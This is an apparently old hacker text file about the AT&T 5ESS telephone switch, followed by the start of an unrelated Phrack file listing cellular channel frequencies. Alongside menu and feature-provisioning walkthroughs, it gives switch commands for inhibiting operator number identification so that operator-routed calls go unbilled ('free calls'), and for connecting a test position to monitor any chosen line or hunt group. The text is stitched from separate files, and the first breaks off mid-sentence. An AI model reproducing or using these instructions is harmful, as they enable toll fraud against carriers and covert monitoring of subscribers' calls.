OP:LIST,LINES[,FULL][,PRINT][;[a][,b][,c][,d][,e]]!

OP:LIST,TRUNKS[,FULL][,PRINT][;[a][,b][,c][,d][,e]]!

OP:LIST,TG [,FULL][,PRINT][;[a][,b][,c][,d][,e]]!

FULL ‑ All (primary and pending) are printed. Note FULL is not the default when inputing this command.

PRINT ‑ Print to the ROP in the CO. (Not a good idea)

a‑e ‑ This is port status to match against the subset of trunks, lines or trunk groups that are specified. (This is required input for FULL)

The 5ESS RC/V Menu Shell

~~~~~~~~~~~~~~~~~~~~~~~~

To access this shell from the RC/V channel craft shell, type:

RCV:MENU:APPRC

at the `` < '' prompt.

To access the 5ESS RC/V menu system from the MCC, STLWS, and TLWS channel/terminals, one uses what are called pokes. The poke that is used here to access the RC/V Menu system on the 5ESS is 196.

Type 196 at the `` CMD< '' prompt, and you are on the RC/V menu system of the 5ESS switch. This will cause ``RC/V 196 STARTING'' and ``RC/V 196 COMPLETED'' to be printed out on the ROP.

Either way, this will toss you into a menu system. The main menu looks like this:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

5ESS SWITCH WCDS0

RECENT CHANGE AND VERIFY CLASSES

H RCV HELP 9 DIGIT ANALYSIS 20 SM PACK & SUBPACK A ADMINISTRATION 10 ROUTING & CHARGING 21 OSPS FEATURE DEFINITION B BATCH INPUT PARMS 11 CUTOVER STATUS 22 ISDN ‑‑ EQUIPMENT 1 LINES 12 BRCS FEATURE DEFINITION 23 ISDN

2 LINES ‑‑ OE 13 TRAFFIC MEASUREMENTS 24 APPLICATIONS PROCESSOR 3 LINES ‑‑ MLHG 14 LINE & TRUNK TEST 25 LARGE DATA MOVEMENT 4 LINES ‑‑ MISC. 15 COMMON NTWK INTERFACE 26 OSPS TOLL & ASSIST/ISP

5 TRUNKS17 CM MODULE 27 OSPS TOLL & ASSIST

7 TRUNKS ‑ MISC. 18 SM & REMOTE TERMINALS 28 GLOBAL RC ‑ LINES 8 OFFICE MISC. & ALARMS 19 SM UNIT

Menu Commands:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The help menus for the 5ESS switch are lame, but I though that it would be good to show them to you just for the hell of it, because it does explain a little about the switch.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SCREEN 1 OF 7 5ESS SWITCH RECENT CHANGE VIEW H.1 COMMANDS FOR MENU PAGES

H ‑ Explains commands for MENU or views. If you enter H again, then it will display next HELP page.

H# ‑ Select HELP page. (# ‑ help page number)

Q ‑ Quit Recent Change and Verify.

R ‑ Change mode to RECENT CHANGE

V ‑ Change mode to VERIFY

< ‑ Go to CLASS MENU page.

# ‑ If on CLASS MENU page Go to a VIEW MENU page #.

# ‑ If on VIEW MENU page Go to a RECENT CHANGE or VERIFY VIEW #. #.# ‑ Go to a RECENT CHANGE or VERIFY VIEW. (CLASS#.VIEW#)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SCREEN 2 OF 7 5ESS SWITCH RECENT CHANGE VIEW H.1 COMMANDS FOR MENU PAGES

#R ‑ Go to Recent Change view for read.

#I ‑ Go to Recent Change view for insert.

#D ‑ Go to Recent Change view for delete (only print Key fields). #DV ‑ Go to Recent Change view for delete with verify (print all fields). #U ‑ Go to Recent Change view for update.

#UI ‑ Go to Recent Change view for update in insert mode (user can change each field sequentially without typing field number). #V ‑ Go to Verify view.

#N ‑ Go to next menu page. Back to the 1st page if there's no next page.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SCREEN 3 OF 7 5ESS SWITCH RECENT CHANGE VIEW H.1

COMMANDS FOR BATCH

BMI ‑ Delayed Activation Mode. Choose time or demand release (for time release add service information). Select view number for Recent Change. BMD ‑ Display Status of Delayed Activation Recent Changes.

BMR ‑ Release a file of Recent Changes stored for Delayed Activation. IM ‑ Immediate Release Mode.

________________________

SCREEN 4 OF 7 5ESS SWITCH RECENT CHANGE VIEW H.1

COMMANDS FOR VIEWS

< ‑ In first field: Leave this view and return to select view number. < ‑ Not in first field: Return to first field.

^ ‑ In first field: Select new operation for this view. ^ ‑ Not in first field: Return to previous field.

> or ; ‑ Go to end of view or stop at next required field. * ‑ Execute the operation or go to next required field. ? ‑ Toggle help messages on and off.

Q ‑ Abort this view and start over.

V ‑ Validate input for errors or warnings.

________________________

SCREEN 5 OF 7 5ESS SWITCH RECENT CHANGE VIEW H.1

COMMANDS FOR VIEWS

R ‑ Review view from Data Base.

I ‑ Insert this view into Data Base.

U ‑ Update this view into Data Base.

D ‑ Delete this view from Data Base (only print Key fields). C ‑ CHANGE: Change a field ‑ All fields may be changed except key fields when in the update mode only.

C ‑ CHANGE‑INSERT: Allowed in the review mode only ‑ Allows you to review C ‑ CHANGE‑INSERT: Allowed in the review mode only ‑ Allows you to review a view and then insert a new view with similar field. You must change the key fields to use this facility. You may change other fields as required by the new view.

P ‑ Print hard copy of screen image (must have RC/V printer attached).

________________________

SCREEN 6 OF 7 5ESS SWITCH RECENT CHANGE VIEW H.1

COMMANDS FOR VIEWS

The following are used only on views containing LISTS.

` ‑ Blank entire row.

‑ Sets this field to its default value.

: ‑ Sets this row to its default value.

[ ‑ Go backward to previous row.

] ‑ Go forward to next row.

; ‑ Go to end of view or stop at next required field. # ‑ Go to end of list and stop at next non‑list field. { ‑ Delete current row and move next row to current row. } ‑ Move current row to next row and allow insert of row. = ‑ Copy previous row to current row.

* ‑ Execute the operation or stop at next required field.

________________________

SCREEN 7 OF 7 5ESS SWITCH RECENT CHANGE VIEW H.1 COMMANDS FOR AUTOMATIC FORMS PRESENTATION

If RC/V is in automatic forms presentation and "Q" or "q" is entered for the operation, the following commands are available.

A ‑ Abort form fields. RC/V stays in the current form. B ‑ Bypass form. Go to next form using automatic forms presentation. C ‑ Cancel automatic forms presentation. The previous menu will be displayed.

H ‑ Display automatic forms presentation help messages. < ‑ Bypass form. Go to next form using automatic forms presentation.

________________________________________

When accessing the databases, here is a list of database access selections:

I (insert) ‑ Insert new data

R (review) ‑ Review existing data

U (update) ‑ Update or change existing data

D (delete) ‑ Delete (remove) unwanted data from the data base V (verify) ‑ Verify the data in the data base.

These are to be entered when one sees the prompt:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Enter Database Operation

I=Insert R=Review U=Update D=Delete : _

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When using the RC/V menu system of the 5ESS, you may go and just keep going into sub‑menus, and fall off the end of the Earth. Here are the navigational commands that are used to move around the menu system. As seen from the RC/V menu system help, you see "SCREEN X out of X." This means that there are so many screens to go and to move between the screens you use the `` < '' to move back (toward main menu) and `` > '' to move to the last menu. I know it is shown in the help menu, but it is not explained like it needs to be.

Batch Input

~~~~~~~~~~~

The Batch Input feature for the 5ESS switch allows recent changes (RC) to be entered at any date and time when the RC update would be performed. This allows RC input to be entered quickly, and for a large number of inputs. The large numbers of RC input can be released quickly in batch mode. The RC input can then be entered at any time, stored until needed, and then released for use by the system whenever needed, at any specific date and/or time.

First and second level error correction is done during batch input. There are several different modes of batch input. These are:

BMI ‑ batch mode input ‑ TIMEREL and DEMAND

BMD ‑ batch mode display

BMR ‑ batch mode release

BMI ‑ Batch Mode Input ‑ TIMEREL and DEMAND

Entering BMI (Batch Mode Input), one types `` BMI '' at the RC/V menu prompt. Once entering, you will be prompted with whether

the input is DEMAND (demand) or TIMEREL (Time Release). DEMAND input allows one to manual have the batch update the database, TIMEREL is automatic. TIMEREL has one enter a time and date. When using DEMAND, you will be prompted for the file name. The file will be in `` /rclog '' in the DMERT OS.

In TIMEREL, you will be prompted with the CLERK‑ID, which in this case is the file name for the file in the `` /rclog ''. Then

for VERBOSE options, the RC SRVOR (Recent Change Service Order)

is displayed on the screen.

‑RC SRVOR View in the BMI TIMEREL Batch Option‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

5ESS SWITCH

RECENT CHANGE B.1 SERVICE ORDER NUMBER VIEW

*1. ORDNO __________

*2. ITNO ____

*3. MSGNO ____

#4. RDATE ______

#5. RTIME ____

Enter Insert, Change, Validate, or Print:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ORDNO = Service Order Number

ITNO = Item Number

MSGNO = Message Number

RDATE = Release Date (Update database Date)

RTIME = Release Time (Update database Time)

BMD ‑ batch mode display

BMD is a "mask" of RC/V done from the RC/V channel craft shell, by using the REPT:RCHIST or a pseudo menu system. All transactions are displayed on the ROP, though the data could also be sent to a file in the `` /rclog '' in DMERT. The Pseudo menu system looks like:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1. Summary of clerk activity

2. Activity by service order number

3. Activity by clerk ID

4. Return to view or class menu.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 allows one to view the "DELAYED RELEASE SUMMARY REPORT."

2 produces a "DELAYED RELEASE REPORT BY SERVICE ORDER."

3 produces the "DELAYED RELEASE REPORT BY CLERK ID."

4 Return to view or class menu, self‑explanatory.

REPT:RCHIST ‑ BMD

The REPT:RCHIST BMD (Text) command is done from the RC/V channel craft shell. The command synopsis is:

5E2 ‑ 5E5 (Generics)

REPT:RCHIST,CLERK=[,FORMAT={SUMMARY|DETAIL}]{[,ALL]|[,PENDING][,COMPLETE] [,ERROR][,DEMAND]}[,DEST=FILENAME][,TIME=XXXXXXXXXX];

5E6 ‑ 5E8 (Generics)

REPT:RCHIST,CLERK=a[,FORMAT={SUMMARY|DETAIL}] {,ALL|,b}[,DEST={c|FILE}] [,TIME=XXXXXXXXXX];

SUMMARY ‑ Report selection, format by key.

DETAIL ‑ Report selection for Recent Change entire.

ALL ‑ Report all recent changes.

PENDING ‑ Report pending recent change input.

COMPLETE ‑ Report released recent changes that was successful when completed.

FILE ‑ Name for file in /rclog

ERROR ‑ Report recent changes released with error. DEMAND ‑ Report demand recent changes.

TIME=XXXXXXXXXX ‑ XX ‑ mounth, XX ‑ day, XX ‑ hour, XX minute, XX ‑ Second

BMR ‑ batch mode release

This is the manual release (updating) of the 5ESS database. This is done from the RC/V channel craft shell. The command that is used is the EXC:RCRLS input message. There is no real need to go into this message.

Adding RCF (Remote Call Forward) on a 5ESS

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1. At the "MENU COMMANDS" commands prompt of the 5ESS main menu in the RC/V APPRC menu system of the 5ESS, enter '12' for the "BRCS FEATURE DEFINITION". Then access screen '1.11', this is the BRCS screen. When it asks you to 'ENTER DATABASE OPERATION' enter "U" for Update and hit return.

NOTE: When at menu '12,' you will NOT see '1.11' listed in the menu options. By just accessing menu '1' you will not be able to add features. This is a problem with the 5ESS menu system.

2. Type in the Telephone Number. It should look like this:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Mon Feb 31 09:09:09 2001 RFA_TN

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

5ESS SWITCH WCDS0

SCREEN 1 OF 2 RECENT CHANGE 1.11

BRCS FEATURE ASSIGNMENT (LINE ASSIGNMENT)

*1. TN 5551212 * 2. OE _ ________ 3. LCC ___ 4. PIC 288 *5. PTY _* 6. MLHG ____ 7. MEMB ____ 8. BFGN _______ _

FEATURE LIST (FEATLIST)

ROW 11. FEATURE A P 15. FEATURE A P 19. FEATURE A P 23. FEATURE A P

1. /CFV N _ ________ _ _ ________ _ _

2. ________ _ _ ________ _ _

3. ________ _ _ ________ _ _

4. ________ _ _ ________ _ _

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

and will prompt you with:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Enter Insert, Change, Validate, screen#, or Print: _

form operation prompt

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I ‑ to insert a form

C ‑ to change a field on a form

V ‑ to validate the form

A ‑ to display the desired screen number

P ‑ to print the current screen

U ‑ to update the form

Enter `` C '' to change, access filed 11 and row 1 (goto the /CFV wherever it may be) or add /CFR if it is not there. If it does though, leave the "A" (Active) field "N" (Yes or No). Change the P (Presentation) column to "U" (Update). Then Hit Return.

NOTE: Different Generics have other fields, one of them being a AC (Access Code) field. This field is a logical field, that mean only accepts a "Y" for yes and "N" for no. Also when adding the feature to the switch, the row and field numbers may not be shown, but will always follow this pattern. Also note that the /CFV (Call forwarding variable) feature may not be there, there maybe no features on the line. These examples are from Generic 4 (2). Here is a example of 5E8 (which is not used too many places, but this is what menu 1.11 in the BRCS Feature Definition looks like:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

5ESS SWITCH SCREEN 1 OF 2 RECENT CHANGE 1.11 (5112,5113)BRCS FEATURE ASSIGNMENT (LINE)

(*)1. TN _______ (*)2. OE _ ________ 3. LCC ___ 4. PID ___ (*)6. MLHG ____ 8. BFGN _______ _

(*)5. PTY _(*) 7. MEMB ____

11. FEATURE LIST (FEATLIST)

ROW FEATURE A P AC R ROW FEATURE A P AC R ROW FEATURE A P AC R 1 ________ _ _ _ _ 8 ________ _ _ _ _ 15 ________ _ _ _ _ 2 ________ _ _ _ _ 9 ________ _ _ _ _ 16 ________ _ _ _ _ 3 ________ _ _ _ _ 10 ________ _ _ _ _ 17 ________ _ _ _ _ 4 ________ _ _ _ _ 11 ________ _ _ _ _ 18 ________ _ _ _ _ 5 ________ _ _ _ _ 12 ________ _ _ _ _ 19 ________ _ _ _ _ 6 ________ _ _ _ _ 13 ________ _ _ _ _ 20 ________ _ _ _ _ 7 ________ _ _ _ _ 14 ________ _ _ _ _ 21 ________ _ _ _ _

Enter Insert, Change, Validate, screen#, or Print: _

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hit Return twice to get back to "ENTER UPDATE, CHANGE, SCREEN #, OR PRINT:". Enter a "U" for update and hit Return. It will say "FORM UPDATE".

3. Next access screen 1.22, call forwarding (line parameters) or it will just come up automatically if you set the "P" to "U".

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Mon Feb 31 09:09:09 2001 RCFLNTN

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

5ESS SWITCH WCDS0 RECENT CHANGE 1.22 CALL FORWARDING (LINE PARAMETERS)

*1. TN 5551212

*6. FEATURE CFR

9. FWDTODN ______________________________

10. BILLAFTX 0 16. SIMINTER 99 11. TIMEOUT 0 17. SIMINTRA 99 12. BSTNINTVL 0 18. CFMAX 32 13. CPTNINTVL 0 19. BSRING N

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

4. If you used the automatic forms presentation, it will have the telephone number already on LINE1. If not retype the telephone number you want forwarded. The bottom of the screen will say "ENTER UPDATE, CHANGE, VALIDATE OR PRINT:", type "C" for change and hit return.

5. When it says CHANGE FIELD type "9" and enter your forward to DN (Destination Number) including NPA if necessary. This will put you back to the "CHANGE FIELD" prompt. Hit return again for the "ENTER UPDATE, CHANGE, VALIDATE OR PRINT:". Hit "U" for Update form and wait for "FORM UPDATED".

6. Lastly, access screen 1.12, BRCS FEATURE ACTIVATION (LINE ASSIGNMENT). At the prompt enter a "U" for Update, and on ROW 11 Line 1 (or wherever), change the "N" in column "A" to a "Y" for Yes, and you are done.

Adding other features

~~~~~~~~~~~~~~~~~~~~~

To add other features onto a line, follow the same format for adding the /CFR, but you may not need to access 1.22. Some other features are:

Feature Code: Feature Name:

/LIDLXA ‑ CLID

/CFR ‑ Remote Call Forward

/CWC1 ‑ Call Waiting

/CFBLIO ‑ call forward busy line i/o

/CFDAIO ‑ call forward don't answer i/o

/CFV ‑ call forwarding variable

/CPUO ‑ call pick up o !used in the selq1 field! /CPUT ‑ call pick up t !used in the tpredq field! /CWC1D ‑ Premiere call waiting

/DRIC ‑ Dist. ring

/IDCT10 ‑ Inter room ID

/IDCTX2 ‑ 1digit SC

/IDCTX2 ‑ Interoom ID 2

/IDCTX2 ‑ Premiere 7/30, convenience dialing

/IDCTX3 ‑ Premiere 7/30, no cd

/IDMVP1 ‑ Premiere 2/6, no convenience dialing /IDMVP2 ‑ Premiere 2/6, CD, not control sta.

/IDMVP3 ‑ Premiere 2/6, CD, control station

/MWCH1 ‑ Call hold

/MWCTIA2 ‑ Call transfer 2

/TGUUT ‑ Terminal group ID number with TG view (1.29).

ANI/F the whole switch

~~~~~~~~~~~~~~~~~~~~~~~

Automatic Number Identification failure (also called "dark calls") are caused by variety of different things. To understand this better, here are the technical names and causes, note this is not in stone and the causes are not the only causes for a ANI‑F to occur.

ANF ‑‑ Failure to receive automatic number identification (ANI) digits on incoming local access and transport area (LATA) trunk.

ANF2 ‑‑ Automatic number identification (ANI) collected by an operator following a failure to receive ANI digits on an incoming centralized automatic message accounting (CAMA) trunk from the DTMF decoder. ANI ‑‑ Time‑out waiting for far off‑hook from Traffic Service Position System (TSPS) before sending ANI digits.

Though, I have always wondered how to set one up myself in a safe way. One way nice way to get ANI/F through a 5ESS to use a inhibit command.

INH:CAMAONI;

The command will inhibits centralized automatic message accounting (CAMA) operator number identification (ONI) processing. This is done from the DTMF decoder (going over later). This message will cause a minor alarm too occur. If in the CO when the alarm occurs, you will here this bell all the time, because something is always going out. In this case, this alarm is a level 1 (max to five) and the bell will ring once.

Once this message is inputed, all calls through CAMA operator will be free of change. So just dial the operator and you will have free calls.

To place this back on the switch, just type:

ALW:CAMAONI;

and the minor alarm will stop, and things will go back to normal.

Setting up your own BLV on the 5ESS from the Craft shell RC/V Channel

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Well, we have come to the fun part, how to access the No‑Test trunk on the 5ESS (this is also called adding the third trunk). I will not be too specific on how to do this. You will need to figure out just how to do this. The first thing you want to do is to request a seizure of a line for interactive trunk and line testing. One must assign a test position (TP).

SET:WSPHONE,TP=a,DN=b

SET:WSPOS,TP=a,DN=b

a = A number between 1 and 8

b = The number you wish assigned to the test position

This will chose a number to be the test number on the switch. Now using the CONN:WSLINE one can set up a BLV.

CONN:WSLINE,TP=a,DN=b;

a = TP that you set from the SET:WSPOS

b = The number you want to BLV

To set this up on a MLHG (can come in real useful for those peksy public packet switched networks), do a:

CONN:WSLINE,TP=a,MLHG=x‑y;

x = MLHG number, y = MLHG member number

To take set things back to normal and disconnect the BLV do a:

DISC:WSPHONE,TP=z

z = TP 1 through 8

NOTE:

One may need to do a ALW:CALLMON before entering the CONN commands

BIG NOTE:

If you set your home telephone number as the test position, and you have only one phone line, you are stupid.

Comments about the Underground

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

There are a few people out there who have no idea what they are doing, and go on thinking they know it all (i.e. No Name Brand). It pisses me off when these people just go off and make shit up about things they have no idea what they are talking about.

This file is to all the lazy people out there that just keep bitching and moaning about not knowing where to find information.

Other Sources

~~~~~~~~~~~~~

Here is a list of Manuals that you can order from the CIC (1‑800‑432‑6600). Note that some of these manuals are well over hundreds of dollars.

Manual 234‑105‑110 System Maintenance Requirements and Tools Manual 235‑001‑001 Documentation Guide

Manual 235‑070‑100 Switch Administration Guidelines

Manual 235‑100‑125 System Description

Manual 235‑105‑110 System Maintenance Requirements and Tools Manual 235‑105‑200 Precutover and Cutover Procedures

Manual 235‑105‑210 Routine Operations and Maintenance

Manual 235‑105‑220 Corrective Maintenance

Manual 235‑105‑231 Hardware Change Procedures ‑ Growth

Manual 235‑105‑24x Generic Retrofit Procedures

Manual 235‑105‑250 System Recovery

Manual 235‑105‑250A Craft Terminal Lockout Job Aid

Manual 235‑105‑331 Hardware Change Procedures ‑ Degrowth

Manual 235‑105‑44x Large Terminal Growth Procedures

Manual 235‑118‑200 Recent Change Procedures Menu Mode Generic Program Manual 235‑118‑210 Recent Change Procedures Menu Mode

Manual 235‑118‑213 Menu Mode 5E4 Software Release

Manual 235‑118‑214 Batch Release 5E4 Software Release

Manual 235‑118‑215 Text Interface 5E4 Software Release

Manual 235‑118‑216 Recent Change Procedures

Manual 235‑118‑217 Recent Change Procedures Batch Release 5E5 Software Release

Manual 235‑118‑218 Recent Change Attribute Definitions 5E5 Software Release Manual 235‑118‑21x Recent Change Procedures ‑ Menu Mode

Manual 235‑118‑224 Recent Change Procedures 5E6 Software Release Manual 235‑118‑225 Recent Change Reference 5E6 Software Release Manual 235‑118‑240 Recent Change Procedures

Manual 235‑118‑241 Recent Change Reference

Manual 235‑118‑242 Recent Change Procedures 5E8 Software Release Manual 235‑118‑24x Recent Change Procedures

Manual 235‑118‑311 Using RMAS 5E4 Software Release

Manual 235‑118‑400 Office Records and Database Query 5E4 Software Release Manual 235‑190‑101 Business and Residence Modular Features ** Manual 235‑190‑105 ISDN Features and Applications

Manual 235‑190‑115 Local and Toll System Features

Manual 235‑190‑120 Common Channel Signaling Service Features Manual 235‑190‑130 Local Area Services Features

Manual 235‑190‑300 Billing Features

Manual 235‑600‑103 Translations Data

Manual 235‑600‑30x ECD/SG Data Base

Manual 235‑600‑400 Audits

Manual 235‑600‑500 Assert Manual

Manual 235‑600‑601 Processor Recovery Messages

Manual 235‑700‑300 Peripheral Diagnostic Language

Manual 235‑900‑101 Technical Specification and System Description Manual 235‑900‑103 Technical Specification

Manual 235‑900‑104 Product Specification

Manual 235‑900‑10x Product Specification

Manual 235‑900‑301 ISDN Basic Rate Interface Specification Manual 250‑505‑100 OSPS Description and Procedures

Manual 363‑200‑101 DCLU Integrated SLC Carrier System

Manual TG‑5 Translation Guide

Practice 254‑341‑100 File System Software Subsystem Description 3B20D Computer

Practice 254‑301‑110 Input‑Output Processor Peripheral Controllers Description and Theory of Operation AT$T 3B20D Model 1 Computer None.

Practice 254‑341‑220 3B20 System Diagnostic Software Subsystem Description 3B20D Processor

CIC Select Code 303‑001 Craft Interface User's Guide

CIC Select Code 303‑002 Diagnostics User's Guide

CIC Select Code 303‑006 AT$T AM UNIX RTR Operating System, System Audits Guide

IM‑5D000‑01 Input Manual

OM‑5d000‑01 Output Manual

OPA‑5P670‑01 The Administrator User Guide

OPA‑5P672‑01 The Operator User Guide

OPA‑5P674‑01 The RMAS Generic ‑ Provided User Masks

Trademarks

~~~~~~~~~~

5ESS ‑ Registered trademark of AT$T.

CLCI ‑ Trademark of Bell Communications Research, Inc.

CLLI ‑ Trademark of Bell Communications Research, Inc.

ESS ‑ Trademark of AT$T.

SLC ‑ Registered trademark of AT$T.

UNIX ‑ Registered trademark of AT$T.

DMERT ‑ Registered trademark of AT$T.

SCCS ‑ Registered trademark of AT$T

DMS ‑ Registered trademark of Northern Telecom

DEC ‑ Registered trademark of Digital Equipment Corporation.

VT100 ‑ Trademark of Digital Equipment Corporation.

Acronyms and Abbreviations

~~~~~~~~~~~~~~~~~~~~~~~~~~

ADTS ‑ Automatic Data Test System

ALIT ‑ Automatic Line Insulation Testing

AMA ‑ Automatic Message Accounting

AP ‑ Attached Processor (1AESS 3B20)

ATICS ‑ Automated Toll Integrity Checking System

BLV ‑ Busy Line Verification

BMD ‑ Batch Mode Display

BMI ‑ Batch Mode Input ‑ TIMEREL and DEMAND

BMR ‑ Batch Mode Release

BRCS ‑ Business Residence Custom Service

CAMA ‑ Centralized Automatic Message Accounting

CIC ‑ Customer Information Center (AT$T)

DAMT ‑ Direct Access Mechanize Testing

DLTU ‑ Digital Line Trunk Unit

DMERT ‑ Duplex Multiple Environment Real Time

DSU ‑ Digital Service Unit

DTAC ‑ Digital Test Access Connector

GRASP ‑ Generic Access Package

IOP ‑ Input/Output Processor

IPS ‑ Integrated Provisioning System

ISDN ‑ Integrated Services Digital Network

ITNO ‑ Item Number

LMOS ‑ Loop Maintenance Operations System

LU ‑ Line Unit

MCC ‑ Master Control Center

MLT‑2 ‑ Mechanized Loop Testing ‑ The Second Generation of Equipment MML ‑ Man Machine Language

MSGNO ‑ Message Number

MSGS ‑ Message Switch

NCT ‑ Network Control and Timing

ODD ‑ Office Dependent Data

OE ‑ Office Equipment

ONI ‑ Operator Number Identification

ORDNO ‑ Service Order Number

OSPS ‑ Operator Service Position System

OSS ‑ Operations Support System

POVT ‑ Provisioning On‑site Verification Testing

RC ‑ Recent Change

RC/V ‑ Recent Change and Verify

RDATE ‑ Release Date (Update Database Date)

RMAS ‑ Remote Memory Administration

RTIME ‑ Release Time (Update Database Time)

RTS ‑ Remote Test Unit

SARTS ‑ Switched Access Remote Test System

SCCS ‑ Switching Control Center System

SLC ‑ Subicer Loop Carrier

SM ‑ Switching Module

SMAS ‑ Switched Maintenance Access System

SMPU ‑ Switch Module Processor Unit

SONET ‑ Synchronous Optical Network

SPC ‑ Stored Program Control

STLWS ‑ Supplementary Trunk and Line Work Station

TFTP ‑ Television Facility Test Position

TIMEREL ‑ Time Release

TIRKS ‑ Trunk Integrated Record Keeping System

TMS ‑ Time Multiplexed Switch

TRCO ‑ Trouble Reporting Control Office

TSI ‑ Time Slot Interchangers

TSIU ‑ Time Slot Interchange Unit

TU ‑ Trunk Unit

VFY ‑ Verify

I give AT$T due credit for much of this file, for without them, it would not

Cellular Info

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 17 of 27

CELLULAR INFORMATION

COMPILED

BY

MADJUS

of

N.O.D.

{Thanks go out to Spy Ace & The Nobody}

CELLULAR FREQUENCIES BY CELL

BAND A

Cell # 1 Transmit Receive

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (333) Tx 879.990 Rx 834.990

Channel 2 (312) Tx 879.360 Rx 834.360

Channel 3 (291) Tx 878.730 Rx 833.730

Channel 4 (270) Tx 878.100 Rx 833.100

Channel 5 (249) Tx 877.470 Rx 832.470

Channel 6 (228) Tx 876.840 Rx 831.840

Channel 7 (207) Tx 876.210 Rx 831.210

Channel 8 (186) Tx 875.580 Rx 830.580

Channel 9 (165) Tx 874.950 Rx 829.950

Channel 10 (144) Tx 874.320 Rx 829.320

Channel 11 (123) Tx 873.690 Rx 828.690

Channel 12 (102) Tx 873.060 Rx 828.060

Channel 13 (81) Tx 872.430 Rx 827.430

Channel 14 (60) Tx 871.800 Rx 826.800

Channel 15 (39) Tx 871.170 Rx 826.170

Channel 16 (18) Tx 870.540 Rx 825.540

Cell # 2

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (332) Tx 879.960 Rx 834.960

Channel 2 (311) Tx 879.330 Rx 834.330

Channel 3 (290) Tx 878.700 Rx 833.700

Channel 4 (269) Tx 878.070 Rx 833.070

Channel 5 (248) Tx 877.440 Rx 832.440

Channel 6 (227) Tx 876.810 Rx 831.810

Channel 7 (206) Tx 876.180 Rx 831.180

Channel 8 (185) Tx 875.550 Rx 830.550

Channel 9 (164) Tx 874.920 Rx 829.920

Channel 10 (143) Tx 874.290 Rx 829.290

Channel 11 (122) Tx 873.660 Rx 828.660

Channel 12 (101) Tx 873.030 Rx 828.030

Channel 13 (80) Tx 872.400 Rx 827.400

Channel 14 (59) Tx 871.770 Rx 826.770

Channel 15 (38) Tx 871.140 Rx 826.140

Channel 16 (17) Tx 870.510 Rx 825.510

Cell # 3

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (331) Tx 879.930 Rx 834.930

Channel 2 (310) Tx 879.300 Rx 834.300

Channel 3 (289) Tx 878.670 Rx 833.670

Channel 4 (268) Tx 878.040 Rx 833.040

Channel 5 (247) Tx 877.410 Rx 832.410

Channel 6 (226) Tx 876.780 Rx 831.780

Channel 7 (205) Tx 876.150 Rx 831.150

Channel 8 (184) Tx 875.520 Rx 830.520

Channel 9 (163) Tx 874.890 Rx 829.890

Channel 10 (142) Tx 874.260 Rx 829.260

Channel 11 (121) Tx 873.630 Rx 828.630

Channel 12 (100) Tx 873.000 Rx 828.000

Channel 13 (79) Tx 872.370 Rx 827.370

Channel 14 (58) Tx 871.740 Rx 826.740

Channel 15 (37) Tx 871.110 Rx 826.110

